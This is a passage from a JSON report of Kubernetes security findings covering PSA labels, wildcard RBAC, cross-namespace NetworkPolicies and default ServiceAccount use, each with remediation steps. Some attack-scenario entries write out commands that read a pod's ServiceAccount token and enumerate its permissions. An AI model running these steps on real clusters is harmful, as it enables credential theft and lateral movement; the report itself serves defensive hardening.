      "Validate: `kubectl get namespace psa-unlabeled-fixtures -o jsonpath='{.metadata.labels}' | grep pod-security` returns the three labels."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-admission/",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/tasks/configure-pod-container/enforce-standards-namespace-labels/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes - Pod Security Admission",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-admission/"
      },
      {
        "title": "Kubernetes - Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes - Apply PSA labels to all namespaces",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/enforce-standards-namespace-labels/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Pod Security Standards / Pod Security Admission",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:psaLabels"
    ]
  },
  {
    "id": "KUBE-PSA-LABELS-001:Namespace:vulnerable",
    "rule_id": "KUBE-PSA-LABELS-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "defense_evasion",
    "title": "Namespace `vulnerable` runs Baseline violators but has no PSA enforce label",
    "description": "Namespace `vulnerable` carries PSA labels (`pod-security.kubernetes.io/enforce` = missing, `audit` = missing, `warn` = missing) but is running pods that violate the PSA Baseline level: Deployment/generic-hostpath-app (hostPath), Deployment/host-ns-app (hostPID), Deployment/host-ns-app (hostIPC), Deployment/risky-app (hostNetwork), Deployment/risky-app (hostPath), and 2 more. Per the Kubernetes Pod Security Standards contract, every namespace SHOULD declare an `enforce` label at baseline or stricter, even if the operator initially leaves it permissive (`privileged`) for legacy workloads. Without `enforce`, every future Pod create/update in this namespace is admitted regardless of how dangerous its PodSpec is.\n\nPSA labels are the cluster's first line of defense at the namespace boundary: they're cheap, they're built in (no external admission webhook), and they document operator intent (\"this namespace is for system DaemonSets that need hostNetwork\" reads very differently from \"someone forgot to label this\"). The fact that this namespace already contains baseline-violating pods means the gap is not theoretical - the next deploy will silently regress.\n\nIf you genuinely need permissive workloads in this namespace, the recommended pattern is `enforce: privileged` with `audit: baseline` and `warn: baseline`: PSA admits the pod (you stay productive), the audit log records the violation (you have evidence), and the user-agent gets a warning (your engineers see it during `kubectl apply`).",
    "resource": {
      "kind": "Namespace",
      "name": "vulnerable"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `vulnerable`"
    },
    "impact": "Future Pod create/update requests in this namespace bypass PSA entirely. A regression that adds `privileged: true` or `hostPath: /` to an existing workload is admitted with no warning, no audit-log entry, and no rejection.",
    "attack_scenario": [
      "Attacker compromises a CI service account that can deploy to this namespace.",
      "They push a manifest that mounts `hostPath: /` (or sets `privileged: true`).",
      "PSA admits the pod with no warning - the namespace has no `enforce` label.",
      "They escape the container to the node, steal kubelet credentials, and pivot."
    ],
    "evidence": {
      "enforce_label": "",
      "audit_label": "",
      "warn_label": "",
      "baseline_violations": [
        "Deployment/generic-hostpath-app (hostPath)",
        "Deployment/host-ns-app (hostPID)",
        "Deployment/host-ns-app (hostIPC)",
        "Deployment/risky-app (hostNetwork)",
        "Deployment/risky-app (hostPath)",
        "Deployment/risky-app (privileged)",
        "Deployment/socket-mounts-app (hostPath)"
      ]
    },
    "remediation": "Apply `pod-security.kubernetes.io/enforce: baseline` (or `restricted`) to namespace `vulnerable`, plus `audit: baseline` and `warn: baseline` so future regressions are logged. If the namespace genuinely needs permissive workloads, use `enforce: privileged` paired with `audit`/`warn` at `baseline`.",
    "remediation_steps": [
      "Pick the right enforce level. For most app namespaces use `restricted` (drops most root, hostPath, capabilities). For system DaemonSets use `baseline`. For namespaces that genuinely need privileged workloads, set `enforce: privileged` but add `audit: baseline` so violations are logged.",
      "Apply the labels: `kubectl label namespace vulnerable pod-security.kubernetes.io/enforce=baseline pod-security.kubernetes.io/audit=baseline pod-security.kubernetes.io/warn=baseline`. Pin the version with `pod-security.kubernetes.io/enforce-version=v1.30` (or your cluster version).",
      "Run `kubectl get pods -n vulnerable -o yaml | grep -E 'privileged|hostPath|hostNetwork'` and triage existing violators before tightening enforce. PSA only blocks new admissions; existing pods keep running, but a rolling restart will fail.",
      "Validate: `kubectl get namespace vulnerable -o jsonpath='{.metadata.labels}' | grep pod-security` returns the three labels."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-admission/",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/tasks/configure-pod-container/enforce-standards-namespace-labels/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes - Pod Security Admission",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-admission/"
      },
      {
        "title": "Kubernetes - Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes - Apply PSA labels to all namespaces",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/enforce-standards-namespace-labels/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Pod Security Standards / Pod Security Admission",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:psaLabels"
    ]
  },
  {
    "id": "KUBE-RBAC-WILDCARD-USED-PARTIAL-001:ServiceAccount/lp-fixtures/sa-lp-wildcard:r-lp-wildcard",
    "rule_id": "KUBE-RBAC-WILDCARD-USED-PARTIAL-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "privilege_escalation",
    "title": "Role `r-lp-wildcard` grants `verbs: [\"*\"]` to ServiceAccount `lp-fixtures/sa-lp-wildcard`, only a subset is used",
    "description": "Over 30 days (2026-10-13 → 2026-11-12, 3 events), ServiceAccount `lp-fixtures/sa-lp-wildcard` exercised a narrow subset of the wildcard `verbs: [\"*\"]` grants in `r-lp-wildcard`:\n\n- `secrets` (apiGroup `core`) observed: get\n\nThe wildcard implicitly includes `create`, `update`, `patch`, `delete`, `deletecollection`, `bind`, `escalate`, `impersonate`, and any future verb Kubernetes introduces. Replacing the wildcard with the observed verb set shrinks blast radius without affecting known behavior.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-lp-wildcard",
      "namespace": "lp-fixtures"
    },
    "resource": {
      "kind": "Role",
      "name": "r-lp-wildcard",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "lp-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `lp-fixtures`"
    },
    "impact": "Wildcard verbs grant whatever Kubernetes invents next, including verbs designed for cluster-admin operations the workload should never perform.",
    "evidence": {
      "events_processed": 3,
      "source_role": "r-lp-wildcard",
      "suggested_role_yaml": "apiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole  # or Role, matching the existing definition\nmetadata:\n  name: r-lp-wildcard-narrowed\nrules:\n  - apiGroups: [\"\"]\n    resources: [\"secrets\"]\n    verbs: [\"get\"]\n",
      "wildcards": [
        {
          "api_group": "",
          "observed_verbs": [
            "get"
          ],
          "resource": "secrets"
        }
      ],
      "window_end": "2026-11-12T18:18:01.203764293Z",
      "window_start": "2026-10-13T18:18:01.203764293Z"
    },
    "remediation": "Replace `verbs: [\"*\"]` in `r-lp-wildcard` with the observed verb set.",
    "remediation_steps": [
      "Verify the observation window covers rare administrative actions (monthly cleanup, post-incident recovery).",
      "Apply the narrower Role shown in the snippet below.",
      "Re-scan after the change to confirm no UNUSED-VERB findings emerge: those would indicate the new verb list is itself broader than the workload needs."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_access-advisor.html",
      "https://kubernetes.io/docs/tasks/debug/debug-cluster/audit/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes - RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "AWS - IAM Access Advisor (analog of this analyzer)",
        "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_access-advisor.html"
      },
      {
        "title": "Kubernetes - Auditing",
        "url": "https://kubernetes.io/docs/tasks/debug/debug-cluster/audit/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.3",
        "title": "Minimize wildcard use in Roles and ClusterRoles",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      }
    ],
    "excluded": false,
    "tags": [
      "module:leastprivilege",
      "category:least_privilege"
    ]
  },
  {
    "id": "KUBE-NETPOL-CROSSNS-001:flat-network:allow-broad:ingress:*:flat-network",
    "rule_id": "KUBE-NETPOL-CROSSNS-001",
    "severity": "MEDIUM",
    "score": 5.4,
    "category": "lateral_movement",
    "title": "NetworkPolicy `flat-network/allow-broad` opens cross-namespace ingress `every namespace in the cluster` (target `flat-network`)",
    "description": "NetworkPolicy `flat-network/allow-broad` declares a peer that crosses a namespace boundary. The ingress rule references `every namespace in the cluster`, which is a different namespace from the policy's own `flat-network` and either the source or the target is a *sensitive* namespace (a control-plane namespace such as `kube-system`, `kube-public`, or `kube-node-lease`, the implicit `default` namespace, or `gatekeeper-system`).\n\nNamespace boundaries are the cheapest soft-tenancy primitive Kubernetes offers. A cross-namespace allow rule that pierces one of the sensitive namespaces is structurally suspicious because those namespaces tend to host either the cluster control plane (kube-system DaemonSets, the kubelet's apiserver client) or the catch-all destination for workloads that omit `metadata.namespace`. Tenancy-aware operators want explicit, narrowly-labeled selectors for these edges, not a broad cross-NS allow.\n\nIn particular, an *ingress* rule that admits `kube-system` (or `*` / every namespace) gives every control-plane pod a path into the selected workload. An *egress* rule that admits traffic back into `kube-system` lets a compromised pod talk to control-plane services (CoreDNS, kube-proxy sidecars) that may run with elevated privilege or expose admin-only endpoints. The wildcard form (`namespaceSelector: {}`) is the worst variant: it matches every present and future namespace, so future tenants are silently bridged the moment they are created.",
    "resource": {
      "kind": "NetworkPolicy",
      "name": "allow-broad",
      "namespace": "flat-network",
      "api_group": "networking.k8s.io"
    },
    "namespace": "flat-network",
    "scope": {
      "level": "object",
      "detail": "NetworkPolicy `flat-network/allow-broad`: cross-namespace ingress from `every namespace in the cluster`"
    },
    "impact": "Workloads selected by `allow-broad` participate in cross-namespace traffic with `every namespace in the cluster`, bypassing namespace-level isolation between tenants. The blast radius grows when the bridged namespace is a control-plane namespace because the bridge crosses a privilege boundary as well as a tenancy boundary.",
    "attack_scenario": [
      "Attacker compromises any pod in `every namespace in the cluster` (or any namespace, when the source is `*`).",
      "They open a TCP connection to the pods selected by `allow-broad.spec.podSelector` in `flat-network`. The cross-namespace allow rule matches, so the connection succeeds when other tenant pods would be denied.",
      "They exploit an application-layer issue on the now-reachable port (auth bypass, weak credential, RCE) and gain a foothold in `flat-network`.",
      "From `flat-network`, they pivot using mounted ServiceAccount tokens, in-namespace secrets, and any further allow rules that originate from this newly-owned pod.",
      "If the bridged namespace was a control-plane namespace, the attacker now has a usable position adjacent to control-plane services and can attempt to enumerate or impersonate the more privileged identities those services run as."
    ],
    "evidence": {
      "direction": "ingress",
      "policy_name": "allow-broad",
      "policy_namespace": "flat-network",
      "source_namespace": "*",
      "target_namespace": "flat-network"
    },
    "remediation": "Replace the cross-namespace peer with an explicit, narrowly-labeled `namespaceSelector` and a sibling `podSelector` that names the small set of pods that legitimately need this traffic, and confirm with the platform team whether the bridge is required at all.",
    "remediation_steps": [
      "Audit `flat-network/allow-broad` and confirm whether the cross-namespace allow rule is intentional. Most cross-NS rules touching `kube-system` / `default` are leftovers from a debug session.",
      "If the bridge is not intentional, delete the offending peer (`kubectl edit netpol`).",
      "If the bridge is intentional, label the source namespace with a stable, policy-meaningful key (e.g., `tenancy.example.com/role: shared-egress`) and switch the peer to `matchLabels` for that key paired with a `podSelector`.",
      "Validate from a netshoot pod in `flat-network`: confirm allowed connections succeed and unrelated namespaces are still denied.",
      "Add a Kyverno or Gatekeeper rule that warns on any new NetworkPolicy whose `namespaceSelector` matches `kube-system` / `kube-public` / `default` or is empty."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/#behavior-of-to-and-from-selectors",
      "https://www.vcluster.com/blog/kubernetes-network-policies-for-isolating-namespaces"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "Kubernetes — Pod-to-Pod Communication semantics",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/#behavior-of-to-and-from-selectors"
      },
      {
        "title": "vCluster — NetworkPolicies for multi-tenant isolation",
        "url": "https://www.vcluster.com/blog/kubernetes-network-policies-for-isolating-namespaces"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1046",
        "name": "Network Service Discovery",
        "url": "https://attack.mitre.org/techniques/T1046/"
      },
      {
        "id": "T1018",
        "name": "Remote System Discovery",
        "url": "https://attack.mitre.org/techniques/T1018/"
      },
      {
        "id": "T1090",
        "name": "Proxy",
        "url": "https://attack.mitre.org/techniques/T1090/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:crossNamespaceAllow",
      "direction:ingress"
    ]
  },
  {
    "id": "KUBE-NETPOL-CROSSNS-001:netpol-bridge:allow-kube-system-ingress:ingress:kube-system:netpol-bridge",
    "rule_id": "KUBE-NETPOL-CROSSNS-001",
    "severity": "MEDIUM",
    "score": 5.4,
    "category": "lateral_movement",
    "title": "NetworkPolicy `netpol-bridge/allow-kube-system-ingress` opens cross-namespace ingress `kube-system` (target `netpol-bridge`)",
    "description": "NetworkPolicy `netpol-bridge/allow-kube-system-ingress` declares a peer that crosses a namespace boundary. The ingress rule references `kube-system`, which is a different namespace from the policy's own `netpol-bridge` and either the source or the target is a *sensitive* namespace (a control-plane namespace such as `kube-system`, `kube-public`, or `kube-node-lease`, the implicit `default` namespace, or `gatekeeper-system`).\n\nNamespace boundaries are the cheapest soft-tenancy primitive Kubernetes offers. A cross-namespace allow rule that pierces one of the sensitive namespaces is structurally suspicious because those namespaces tend to host either the cluster control plane (kube-system DaemonSets, the kubelet's apiserver client) or the catch-all destination for workloads that omit `metadata.namespace`. Tenancy-aware operators want explicit, narrowly-labeled selectors for these edges, not a broad cross-NS allow.\n\nIn particular, an *ingress* rule that admits `kube-system` (or `*` / every namespace) gives every control-plane pod a path into the selected workload. An *egress* rule that admits traffic back into `kube-system` lets a compromised pod talk to control-plane services (CoreDNS, kube-proxy sidecars) that may run with elevated privilege or expose admin-only endpoints. The wildcard form (`namespaceSelector: {}`) is the worst variant: it matches every present and future namespace, so future tenants are silently bridged the moment they are created.",
    "resource": {
      "kind": "NetworkPolicy",
      "name": "allow-kube-system-ingress",
      "namespace": "netpol-bridge",
      "api_group": "networking.k8s.io"
    },
    "namespace": "netpol-bridge",
    "scope": {
      "level": "object",
      "detail": "NetworkPolicy `netpol-bridge/allow-kube-system-ingress`: cross-namespace ingress from `kube-system`"
    },
    "impact": "Workloads selected by `allow-kube-system-ingress` participate in cross-namespace traffic with `kube-system`, bypassing namespace-level isolation between tenants. The blast radius grows when the bridged namespace is a control-plane namespace because the bridge crosses a privilege boundary as well as a tenancy boundary.",
    "attack_scenario": [
      "Attacker compromises any pod in `kube-system` (or any namespace, when the source is `*`).",
      "They open a TCP connection to the pods selected by `allow-kube-system-ingress.spec.podSelector` in `netpol-bridge`. The cross-namespace allow rule matches, so the connection succeeds when other tenant pods would be denied.",
      "They exploit an application-layer issue on the now-reachable port (auth bypass, weak credential, RCE) and gain a foothold in `netpol-bridge`.",
      "From `netpol-bridge`, they pivot using mounted ServiceAccount tokens, in-namespace secrets, and any further allow rules that originate from this newly-owned pod.",
      "If the bridged namespace was a control-plane namespace, the attacker now has a usable position adjacent to control-plane services and can attempt to enumerate or impersonate the more privileged identities those services run as."
    ],
    "evidence": {
      "direction": "ingress",
      "policy_name": "allow-kube-system-ingress",
      "policy_namespace": "netpol-bridge",
      "source_namespace": "kube-system",
      "target_namespace": "netpol-bridge"
    },
    "remediation": "Replace the cross-namespace peer with an explicit, narrowly-labeled `namespaceSelector` and a sibling `podSelector` that names the small set of pods that legitimately need this traffic, and confirm with the platform team whether the bridge is required at all.",
    "remediation_steps": [
      "Audit `netpol-bridge/allow-kube-system-ingress` and confirm whether the cross-namespace allow rule is intentional. Most cross-NS rules touching `kube-system` / `default` are leftovers from a debug session.",
      "If the bridge is not intentional, delete the offending peer (`kubectl edit netpol`).",
      "If the bridge is intentional, label the source namespace with a stable, policy-meaningful key (e.g., `tenancy.example.com/role: shared-egress`) and switch the peer to `matchLabels` for that key paired with a `podSelector`.",
      "Validate from a netshoot pod in `netpol-bridge`: confirm allowed connections succeed and unrelated namespaces are still denied.",
      "Add a Kyverno or Gatekeeper rule that warns on any new NetworkPolicy whose `namespaceSelector` matches `kube-system` / `kube-public` / `default` or is empty."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/#behavior-of-to-and-from-selectors",
      "https://www.vcluster.com/blog/kubernetes-network-policies-for-isolating-namespaces"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "Kubernetes — Pod-to-Pod Communication semantics",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/#behavior-of-to-and-from-selectors"
      },
      {
        "title": "vCluster — NetworkPolicies for multi-tenant isolation",
        "url": "https://www.vcluster.com/blog/kubernetes-network-policies-for-isolating-namespaces"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1046",
        "name": "Network Service Discovery",
        "url": "https://attack.mitre.org/techniques/T1046/"
      },
      {
        "id": "T1018",
        "name": "Remote System Discovery",
        "url": "https://attack.mitre.org/techniques/T1018/"
      },
      {
        "id": "T1090",
        "name": "Proxy",
        "url": "https://attack.mitre.org/techniques/T1090/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:crossNamespaceAllow",
      "direction:ingress"
    ]
  },
  {
    "id": "KUBE-SA-DEFAULT-001:Deployment:cloud-eks-test:imds-pivot-app",
    "rule_id": "KUBE-SA-DEFAULT-001",
    "severity": "MEDIUM",
    "score": 5.4,
    "category": "privilege_escalation",
    "title": "Workload `Deployment/cloud-eks-test/imds-pivot-app` runs as the namespace `default` ServiceAccount",
    "description": "Workload `Deployment/cloud-eks-test/imds-pivot-app` does not specify `serviceAccountName` and therefore runs as the namespace's `default` ServiceAccount, which by default has its token auto-mounted at `/var/run/secrets/kubernetes.io/serviceaccount/token`.\n\nThe `default` SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via `subjects: [{kind: ServiceAccount, name: default, namespace: foo}]`), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.\n\nThe Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs `kubectl auth can-i --list` to find every accreted permission, often elevated by drift over the namespace's lifetime.",
    "resource": {
      "kind": "Deployment",
      "name": "imds-pivot-app",
      "namespace": "cloud-eks-test",
      "api_group": "apps"
    },
    "namespace": "cloud-eks-test",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/cloud-eks-test/imds-pivot-app`"
    },
    "impact": "Token theft yields whatever permissions the namespace `default` SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.",
    "attack_scenario": [
      "RCE in the pod.",
      "Read the SA token: `cat /var/run/secrets/kubernetes.io/serviceaccount/token`.",
      "Enumerate permissions: `kubectl --token=$TOKEN auth can-i --list`.",
      "Exploit any usable verb. Common findings: `secrets/get` (loot all secrets), `pods/exec` (shell into other pods), `pods/create` with privileged template (escalate to node).",
      "Persist by creating a hidden Deployment with the same compromised SA."
    ],
    "evidence": {
      "service_account": "default"
    },
    "remediation": "Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace `default` SA.",
    "remediation_steps": [
      "Create a ServiceAccount: `kubectl -n cloud-eks-test create sa imds-pivot-app-sa`. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.",
      "Reference the new SA in the PodSpec via `serviceAccountName: imds-pivot-app-sa`. If the app does NOT need to talk to the API at all, also set `automountServiceAccountToken: false`.",
      "Disable automount on the namespace default SA: `kubectl patch sa default -n cloud-eks-test -p '{\"automountServiceAccountToken\": false}'`.",
      "Validate: `kubectl get pod -n cloud-eks-test -l \u003cselector\u003e -o jsonpath='{.items[*].spec.serviceAccountName}'` returns the new SA, not `default`."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/",
      "https://kubernetes.io/docs/concepts/security/service-accounts/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Service Accounts for Pods",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/"
      },
      {
        "title": "Kubernetes — Service Accounts",
        "url": "https://kubernetes.io/docs/concepts/security/service-accounts/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.001",
        "name": "Unsecured Credentials in Files",
        "url": "https://attack.mitre.org/techniques/T1552/001/"
      },
      {
        "id": "T1078",
        "name": "Valid Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/"
      },
      {
        "id": "T1528",
        "name": "Steal Application Access Token",
        "url": "https://attack.mitre.org/techniques/T1528/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.5",
        "title": "Ensure that default service accounts are not actively used",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authentication",
        "title": "Service account tokens",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:defaultServiceAccount"
    ]
  },
  {
    "id": "KUBE-SA-DEFAULT-001:Deployment:containersec-fixtures:containersec-image",
    "rule_id": "KUBE-SA-DEFAULT-001",
    "severity": "MEDIUM",
    "score": 5.4,
    "category": "privilege_escalation",
    "title": "Workload `Deployment/containersec-fixtures/containersec-image` runs as the namespace `default` ServiceAccount",
    "description": "Workload `Deployment/containersec-fixtures/containersec-image` does not specify `serviceAccountName` and therefore runs as the namespace's `default` ServiceAccount, which by default has its token auto-mounted at `/var/run/secrets/kubernetes.io/serviceaccount/token`.\n\nThe `default` SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via `subjects: [{kind: ServiceAccount, name: default, namespace: foo}]`), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.\n\nThe Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs `kubectl auth can-i --list` to find every accreted permission, often elevated by drift over the namespace's lifetime.",
    "resource": {
      "kind": "Deployment",
      "name": "containersec-image",
      "namespace": "containersec-fixtures",
      "api_group": "apps"
    },
    "namespace": "containersec-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/containersec-fixtures/containersec-image`"
    },
    "impact": "Token theft yields whatever permissions the namespace `default` SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.",
    "attack_scenario": [
      "RCE in the pod.",
      "Read the SA token: `cat /var/run/secrets/kubernetes.io/serviceaccount/token`.",
      "Enumerate permissions: `kubectl --token=$TOKEN auth can-i --list`.",
      "Exploit any usable verb. Common findings: `secrets/get` (loot all secrets), `pods/exec` (shell into other pods), `pods/create` with privileged template (escalate to node).",
      "Persist by creating a hidden Deployment with the same compromised SA."
    ],
    "evidence": {
      "service_account": "default"
    },
    "remediation": "Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace `default` SA.",
    "remediation_steps": [
      "Create a ServiceAccount: `kubectl -n containersec-fixtures create sa containersec-image-sa`. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.",
      "Reference the new SA in the PodSpec via `serviceAccountName: containersec-image-sa`. If the app does NOT need to talk to the API at all, also set `automountServiceAccountToken: false`.",
      "Disable automount on the namespace default SA: `kubectl patch sa default -n containersec-fixtures -p '{\"automountServiceAccountToken\": false}'`.",
      "Validate: `kubectl get pod -n containersec-fixtures -l \u003cselector\u003e -o jsonpath='{.items[*].spec.serviceAccountName}'` returns the new SA, not `default`."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/",
      "https://kubernetes.io/docs/concepts/security/service-accounts/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Service Accounts for Pods",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/"
      },
      {
        "title": "Kubernetes — Service Accounts",
        "url": "https://kubernetes.io/docs/concepts/security/service-accounts/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.001",
        "name": "Unsecured Credentials in Files",
        "url": "https://attack.mitre.org/techniques/T1552/001/"
      },
      {
        "id": "T1078",
        "name": "Valid Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/"
      },
      {
        "id": "T1528",
        "name": "Steal Application Access Token",
        "url": "https://attack.mitre.org/techniques/T1528/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.5",
        "title": "Ensure that default service accounts are not actively used",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authentication",
        "title": "Service account tokens",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:defaultServiceAccount"
    ]
  },
  {
    "id": "KUBE-SA-DEFAULT-001:Deployment:containersec-fixtures:containersec-lifecycle",
    "rule_id": "KUBE-SA-DEFAULT-001",
    "severity": "MEDIUM",
    "score": 5.4,
    "category": "privilege_escalation",
    "title": "Workload `Deployment/containersec-fixtures/containersec-lifecycle` runs as the namespace `default` ServiceAccount",
    "description": "Workload `Deployment/containersec-fixtures/containersec-lifecycle` does not specify `serviceAccountName` and therefore runs as the namespace's `default` ServiceAccount, which by default has its token auto-mounted at `/var/run/secrets/kubernetes.io/serviceaccount/token`.\n\nThe `default` SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via `subjects: [{kind: ServiceAccount, name: default, namespace: foo}]`), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.\n\nThe Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs `kubectl auth can-i --list` to find every accreted permission, often elevated by drift over the namespace's lifetime.",
    "resource": {
      "kind": "Deployment",
      "name": "containersec-lifecycle",
      "namespace": "containersec-fixtures",
      "api_group": "apps"
    },
    "namespace": "containersec-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/containersec-fixtures/containersec-lifecycle`"
    },
